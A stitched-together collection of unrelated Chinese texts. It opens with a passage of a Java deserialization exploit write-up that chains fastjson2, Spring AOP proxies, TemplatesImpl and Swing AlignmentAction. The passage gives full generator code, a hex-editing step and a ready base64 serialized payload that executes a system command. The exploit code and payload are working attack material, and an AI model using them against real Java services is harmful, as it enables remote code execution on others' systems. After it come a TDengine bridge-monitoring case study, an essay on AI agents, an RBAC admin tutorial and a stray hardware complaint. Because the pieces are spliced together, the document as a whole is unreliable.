    并且在putValue()方法的代码逻辑中,可以看到要是newValue == null,arrayTable就会删除对应的键值对,所以其实虽然“实例化”时放入了一个键值对,我们这里通过调用putValue("Name",null)直接删除即可。

    故可以简单尝试构造如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javax.xml.transform.Templates;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import javax.swing.text.StyledEditorKit;
    import javax.swing.event.SwingPropertyChangeSupport;
    import java.util.HashMap;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
            Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
            cons.setAccessible(true);
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(templates);
            InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
            Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxyObj);
    
            XString xstring = new XString("fupanc1233");
    
            StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
            alignmentAction.putValue("Name",null);
            alignmentAction.putValue("fupanc1",xstring);
            alignmentAction.putValue("fupanc2",jsonObject);
    
            //任意可序列化的类作为参数都行
            HashMap hashMap = new HashMap();
            SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
    
            setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(alignmentAction);
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
            in.readObject();
            in.close();
    
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            Class<?> clazz = obj.getClass();
            Field field = null;
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) {
                throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
            }
    
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    未成功,打断点调试一下,发现是我想当然了,主要问题点存在这里:

    图片.png

    从调试过程看,确实成功放入了两个键值对,但是在第二次调用putValue()方法时,如图可见oldValue的值竟然为null,这一部分确实是我之前疏忽的,这里的oldValue取值的get(key)的key是和newValue的key是一样的,所以导致在反序列化时并没有对应的值而使得oldValue值为null,但是我们并不能在序列化前放入key相同的两个键值对,简单跟进Arraytable类的put()方法:

    图片.png

    很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉,否则就是下面这个可以放进去两个值。

    但是师傅给出了一个非常妙的思路,就是先像前面一样放进去两个值,然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key(尝试过直接修改文件,会报格式错误,所以还是用编辑器来改吧)。并且再看一下反序列化流程,是完全可行的:

    图片.png

    虽然在调用arrayTable.put()还是会覆盖,但是我们已经获取到了oldValue,也就是可控的XString类实例,那么这里在调用firePropertyChange就完全符合前面的链子了,所以最后的payload如下:

    package org.example;
    
    import com.alibaba.fastjson2.JSONObject;
    import javax.xml.transform.Templates;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.springframework.aop.framework.AdvisedSupport;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import javax.swing.text.StyledEditorKit;
    import javax.swing.event.SwingPropertyChangeSupport;
    import java.util.HashMap;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = classPool.makeClass("Evil");
            String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes", code);
            setFieldValue(templates, "_name", "fupanc");
            setFieldValue(templates, "_class", null);
            setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
            Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
            Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
            cons.setAccessible(true);
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(templates);
            InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
            Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
    
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("fupanc", proxyObj);
    
            XString xstring = new XString("text");
    
            StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
            alignmentAction.putValue("Name",null);
            alignmentAction.putValue("fupanc1",xstring);
            alignmentAction.putValue("fupanc2",jsonObject);
    
            //任意可序列化的类作为参数都行
            HashMap hashMap = new HashMap();
            SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
    
            setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
    
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
            out.writeObject(alignmentAction);
            out.close();
    
    //        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
    //        in.readObject();
    //        in.close();
    
        }
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            Class<?> clazz = obj.getClass();
            Field field = null;
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) {
                throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
            }
    
            field.setAccessible(true);
            field.set(obj, value);
        }
    }
    

    然后使用编辑器将生成的ser.ser文件的31改成32,即1=>2:

    图片.png

    然后就可以愉快的反序列化弹计算机了:

    图片.png

    是一个非常好的思路,还可以先正常生成两个键值对,然后再通过编辑器修改成想要的值,达到既定的效果

    最后贴一个mac环境下的paylaod验证:

    package org.example;
    
    import java.io.ByteArrayInputStream;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    public class Main {
        public static void main(String[] args) throws Exception {
    //        byte[] data = Files.readAllBytes(Paths.get("ser.ser"));
    //        System.out.println(Base64.getEncoder().encodeToString(data));
    
            String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ==";
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
            ois.readObject();
            ois.close();
        }
    }
    

    参考文章:

    https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

    https://xz.aliyun.com/news/14333

    https://arthas.aliyun.com/doc/quick-start.html

    https://xz.aliyun.com/news/18467

    小T导读:山西省智慧交通实验室在桥梁健康监测中面临数据孤岛、预警滞后、分析依赖技术人员等管理瓶颈。以 TDengine IDMP 为核心构建统一数据底座后,实现了多源监测数据的集中治理、分钟级主动预警和面向业务的一线自助分析,促使桥梁监测从“被动养护”转向“主动干预”。系统上线后显著提升响应效率、降低运维成本,并具备跨桥梁/隧道/边坡的复制与推广能力,为智慧交通提供可落地的规模化实践路径。本文将结合本次落地项目,从痛点、方案与成效三个维度展开。

    1. 合作背景

    随着我国基础设施建设的跨越式发展,桥梁里程与大型桥梁数量屡攀新高。截至 2023 年底,山西省公路桥梁总数已突破 3.3 万座,总长度超 1.5 万延米,其中特大桥近 200 座。作为连接经济动脉与人文交流的“生命线”,桥梁的安全与否,直接牵系千家万户的幸福、社会经济的脉动乃至国家发展的韧性。

    然而,桥梁在长期服役中,时刻面临环境侵蚀、材料老化、荷载疲劳等多重挑战。2020 年虎门大桥涡振事件,更是为行业敲响警钟——构建实时感知、智能预警、精准评估的桥梁健康监测体系,已刻不容缓。

    在此背景下,山西省智慧交通实验室有限公司与涛思数据强强联合,以 TDengine IDMP(AI 原生的工业数据管理平台)为核心平台,开展桥梁监测管理的深度创新,共同推动监测体系向数字化、智能化全面跃升。

    2. 直面管理痛点:从“可见”到“可控”

    传统桥梁监测系统往往数据分散、协同困难,预警依赖人工判断,导致决策链条长、响应速度慢。管理者难以全面、实时掌握结构安全状态,更无法实现风险的提前干预。TDengine IDMP 的引入,首先致力于破解这一核心管理困境:

    • 一体化治理,打通数据血脉:平台通过逻辑统一的数据目录,将温湿度、风速、应变、振动等多源异构传感器数据实时汇聚、关联对齐。管理者可通过清晰的数据资产视图,全面感知桥梁运行状态,彻底告别“数据孤岛”。
    • 敏捷预警,化被动为主动:基于可视化、低代码的规则配置界面,业务人员可直接根据行业规范快速部署监测指标与告警阈值。系统实现从“小时级”、“天级”响应到“分钟级”、“秒级”自动告警的跃升,真正将风险管控关口前移。
    • 智能交互,赋能业务团队:通过自然语言查询(“智能问数”)与自动看板生成(“无问智推”),一线管理人员无需依赖技术团队即可自主完成数据探查与分析。大幅降低技术门槛,缩短从“数据”到“洞见”的路径,提升整体组织的数据利用能力。

    3. 带来的业务价值

    • 运营效率显著提升:监测全流程实现数字化闭环,预警响应效率提升数个量级,为结构异常处置赢得宝贵时间。
    • 运维成本有效降低:减少对专属数据分析与开发资源的长期依赖,赋能现有业务团队,实现降本增效。
    • 系统扩展性增强:基于平台的模板化配置能力,本次构建的监测模型与管理流程可快速复制、推广至其他桥梁乃至隧道、边坡等基础设施,极大提升了投资复用率与规模化部署速度。
    • 决策支持科学化:通过多源数据融合与 AI 辅助分析,为桥梁健康状况评估、养护优先级排序及长期性能预测提供持续、可靠的数据支撑,推动养护决策从“经验驱动”迈向“数据驱动”。

    4. TDengine IDMP 应用场景

    4.1 打破数据孤岛,实现一体化管理

    依托 TDengine 时序数据库的虚拟表技术,TDengine IDMP 能够将温湿度传感器、风速风向仪、应变传感器、加速度传感器等各类异构采集设备的数据,通过时间序列对齐方式,统一汇聚至同一虚拟设备进行集中管理。仅需通过简单的模板配置,即可快速构建清晰的数据目录,将原本分散于多张超级表中的数据整合至统一入口,实现数据资源的集中化应用

    例如,我们通过在“基础库”页面创建元素模板,可将数据库中的原始数据映射为具有业务含义的结构化元素;

    而在“元素浏览器”中,则可对整座桥梁的全维度监测数据进行统一管理与调用。

    4.2 灵活配置预警机制,提升安全响应能力

    2020 年 5 月虎门大桥涡振事件后,桥梁结构安全监测的重要性进一步凸显。中华人民共和国交通运输部于 2022 年修订发布了新版《公路桥梁结构监测技术规范》,对各类桥梁的监测内容、测点布置与应用实施提出了明确要求。

    借助 TDengine IDMP,可根据规范灵活配置预警规则。以主梁涡振一级告警为例,系统支持直接设定“10 分钟振动加速度均方根值超过 31.5 厘米每平方秒”作为触发条件,并通过可视化界面快速完成规则配置与启用。这种低代码化的操作方式,避免了传统模式下繁琐的程序开发流程,大幅缩短了系统部署与迭代周期。

    在具体实施中,我们在对应监测元素的“分析”页面中,直接创建振动加速度的实时计算任务,并设定阈值判断逻辑,从而实现超限自动告警。

    我们使用模拟数据模拟告警触发的场景,顺利地收到了告警邮件。

    除了邮件通知,TDengine IDMP 还提供了通过飞书或 Webhook 的方式,方便我们将告警功能集成到现有系统。

    4.3 AI 赋能业务交互,推动监测智能化

    传统系统开发过程中,业务需求与功能实现常需经过业务人员与技术人员多轮沟通,周期长、效率低。TDengine IDMP 提供的“智能问数”功能,允许业务人员通过自然语言直接与系统交互,快速生成所需的数据看板与分析视图,有效缩短了需求响应路径。

    例如,只需在“面板”界面输入“显示龙门黄河特大桥过去一周每天的最高最低气温”,系统即可自动解析语义并生成对应的温度趋势图表,全程无需手动配置。

    同样,在“分析”界面中输入“当最大风速超过 25 米每秒并持续 10 分钟时触发告警”,系统会自动构建完整的告警规则,仅需确认并保存即可投入使用。

    此外,平台还支持基于桥梁监测数据目录通过大语言模型自动衍生多种监测指标,可根据其中提供的 SQL 语句构建多种指标体系与可视化面板,进一步增强数据分析的深度与广度。

    5. 未来展望

    当前合作成果已初步验证了数据平台在桥梁监测领域的强大赋能作用。未来我们将以此次成功实践为基石,在更广阔的维度深化与 TDengine 的协作:

    • 技术融合深化:进一步探索 AI 模型在结构损伤识别、寿命预测等深度分析场景的应用。
    • 应用场景拓展:将一体化智能监测模式延伸至智慧路基、车路协同、数字孪生等领域。
    • 生态标准共建:共同总结可复制、可推广的智慧交通基础设施数据管理范式,为行业数字化升级提供实践参考。

    6. 结语

    数字化转型的核心,在于通过技术手段重塑管理流程与决策模式,本次合作正是这一理念的生动实践。依托时序数据库 TDengine TSDB 与工业数据管理平台 TDengine IDMP,结合“无问智推”等智能交互能力,这一套平台化的数据底座不仅提升了单点桥梁的监测能力,更构建了一套适应未来发展的、具备弹性与智能演进能力的数据基础设施。我们相信,以数据为纽带,管理与技术深度融合,必将为交通基础设施的长期安全与高效运营注入持久动力。

    7. 关于山西省智慧交通实验室有限公司

    山西省智慧交通实验室有限公司是山西交通控股集团有限公司的成员单位,自 2022 年 10 月批准建设以来,作为山西省树立的省级实验室建设标杆,聚焦交通基础设施数字化、交通基础设施智慧建养、交通安全与智能装备、交通大数据与车路协同、基础设施绿色低碳技术 5 大研究方向,致力于提升智慧交通领域原始创新能力、突破交通行业发展技术瓶颈,为山西省乃至全国交通现代化建设提供技术支撑与示范。

    作者:高浩 研究员

    结论先行:
    智能体(AI Agent)从 0 到 1 的真正起点,不是“接入一个大模型”,
    而是构建一个可以围绕目标自主运行的闭环系统

    在生成式 AI 从“能回答问题”走向“能完成任务”的过程中,智能体(AI Agent)\被普遍视为迈向 AGI 的阶段性形态。但大量实践表明,很多所谓“智能体”,本质仍停留在\对话增强工具的层面。

    这篇文章尝试回答一个更本质的问题:
    什么才算,真正迈出了智能体构建的第一步?


    一、核心判断:大模型 ≠ 智能体


    一个清晰、可被复用的定义是提高认知效率的前提。

    智能体(AI Agent)不是一个模型,而是一套系统。

    它以大语言模型(LLM)作为“决策中枢”,但必须同时具备四个能力模块:

    • 感知(Perception):接收并解析环境信息(文本、结构化数据、外部状态)
    • 规划(Planning):将目标拆解为可执行的子任务(如 ReAct / CoT)
    • 记忆(Memory):短期上下文 + 长期知识(RAG)
    • 工具调用(Tool Use):通过 API 操作真实世界的数据与系统

    👉 判断标准一句话版:

    如果它只能“回答”,它不是智能体;
    如果它能“推进任务状态”,它才是。

    二、真正的第一步:构建「可失败、可反馈」的工作流


    很多团队在起步阶段把精力放在提示词工程上,这是一个常见但错误的第一步

    1️⃣ 用“任务图谱”替代“超级提示词”

    一个智能体的能力上限,取决于任务拆解的清晰度

    例如,一个论文分析智能体,应至少具备如下流程节点:

    1. 解析摘要与关键词
    2. 检索相关文献(RAG / 搜索)
    3. 对比实验或方法差异
    4. 结构化生成分析报告

    这不是 Prompt,而是流程图


    2️⃣ 引入环境反馈,形成闭环

    智能体与脚本的本质区别在于:
    它能否处理失败。

    • 工具调用失败 → 是否自动重试?
    • 数据缺失 → 是否切换路径?
    • 结果不满足格式 → 是否自我修正?
    是否具备“反馈—调整—再执行”的机制,是智能体的分水岭。

    3️⃣ 第一性工程:先整理知识,再调模型

    在实际落地中,RAG 是最稳健的起跑方式

    但关键不在“用不用 RAG”,而在于:

    • 数据是否高质量
    • 结构是否标准化
    • 是否可被精准检索

    第一步往往不是调模型参数,而是整理知识资产。


    三、落地现实:不是每个团队都该“从零造轮子”

    完整的智能体系统涉及:

    • 调度
    • 状态管理
    • 工具封装
    • 多轮决策

    对多数业务团队来说,自研成本极高。

    因此,当前主流路径有两种:

    1. 基于 LangChain / AutoGPT 等框架深度定制
    2. 使用智能体平台进行流程编排
    3. 将工程复杂度交给平台,把精力集中在业务逻辑与任务设计上。

    这类平台化方案的价值在于:

    让“懂业务但不写底层框架的人”,也能参与智能体构建。

    四、三个最容易走错的“第一步陷阱”


    一开始就追求通用智能
    → 正确做法:单一目标、垂直场景

    提示词无限膨胀
    → 正确做法:结构化、职责清晰、可复用

    没有评估体系
    → 正确做法:从 Day 1 就设定准确率、成功率、响应时间


    五、总结:智能体不是技术升级,而是角色升级


    从 0 到 1 的真正转变是:

    • 从“向 AI 提问”
    • 到“让 AI 推进一件事”

    智能体,本质上是人类专业经验(Know-how)的系统化映射
    当我们迈出这一步,也意味着 AI 正从工具,走向协作伙伴。

    **智能体来了,不是因为模型更大了,
    而是因为我们终于开始用系统的方式,思考智能。**
    本文章内容和图片由AI辅助生成

    前言

    本篇文章主要讲解 RBAC 权限后台系统下,控制菜单、角色、用户信息与操作

    本文也是《通俗易懂的中后台系统建设指南》系列的第十篇文章,该系列旨在告诉你如何来构建一个优秀的中后台管理系统

    RBAC 三要素与模块管理

    在上篇文章,我们讲 RBAC 权限模型的三要素是用户、角色、权限,那这三要素的信息在后台系统管理中,分别体现在:

    1. 菜单管理:管理系统中全部的菜单权限信息,供角色绑定和侧边栏渲染
    2. 角色管理:对角色信息的展示,给角色绑定权限
    3. 用户管理:对系统用户列表的展示,给用户分配角色

    我们写这三个管理模块,主要就是把权限交给系统用户来自定义控制:一个完整的流程是:配置权限信息 => 角色绑定权限 => 用户分配角色 => 用户登录后,只渲染用户角色所拥有的权限路由

    ApiFox 与数据 Mock

    下文中全部数据均由 ApiFox 云端 Mock 生成,我也将这个文档在线分享,你可以访问 vue-clean-admin ApiFox 文档

    菜单管理

    菜单即权限路由数据,这些菜单数据主要提供给角色绑定和侧边栏菜单的渲染,没有这里的菜单数据,角色权限、用户绑定角色的操作都没有意义

    列表的字段定义参考上篇文章RBAC 权限系统实战(一):页面级访问控制全解析PermissionRoute 类型定义

    菜单模块的代码在 views/manages/menu 文件夹下找到

    这里我们主要讲菜单模块填写表单的一些情况:

    1. 允许为菜单选择菜单图标 meta.icon,在侧边栏菜单中展示,这里封装了一个图标选择器组件 icon-pick.vue,后面有机会可以写篇文章聊一下
    2. 根据菜单类型动态必填字段,比如“目录”类型的菜单,不需要填写 component 字段等
    3. meta 配置,按需配置是否隐藏菜单、菜单排序等

    菜单管理的操作接口说明,写在了 ApiFox - 菜单管理

    角色管理

    角色管理,对于角色信息的 CRUD 操作这里不讲,那在这个模块,我们最主要做一件事:给角色分配权限

    角色模块的代码在 views/manages/role 文件夹下找到

    在一个分配权限的弹窗表单中,先拉取全部的菜单数据并渲染,供角色绑定,注意这里选中的是菜单 ID,也就是说,角色分配权限的接口设计中,传回角色 ID、选中的权限 ID 集这两个参数,来更新角色的权限

    用户管理

    用户管理这个模块,我们还是比较熟悉的,基本的后台系统都有,在实现用户基本的 CRUD 操作后,我们要做的就是给用户分配角色

    在分配角色的弹窗表单中,先拉取到全部的角色列表,回显在下拉框,然后根据用户 ID 查询当前用户已拥有的角色也回显到选中项

    注意,用户与角色是一对多的关系,一个用户可以拥有多个角色

    接口设计中,传回用户 ID、角色 ID 集两个参数,分配成功后,刷新页面即可拿到最新权限

    角色模块的代码在 views/manages/user 文件夹下找到

    最后

    这一套操作下来,我们就实现了系统权限的控制,下一篇文章讲细粒度的权限设计时,还会对菜单管理、角色管理有进一步的处理

    了解更多

    系列专栏地址:GitHub 博客 | 掘金专栏 | 思否专栏

    实战项目:vue-clean-admin

    交流讨论

    文章如有错误或需要改进之处,欢迎指正

    2.3 GHz 八核 Intel Core i9
    AMD Radeon Pro 5500M 4 GB
    Intel UHD Graphics 630 1536 MB
    32 GB 2667 MHz DDR4

    现在用 cursor 电脑会特别卡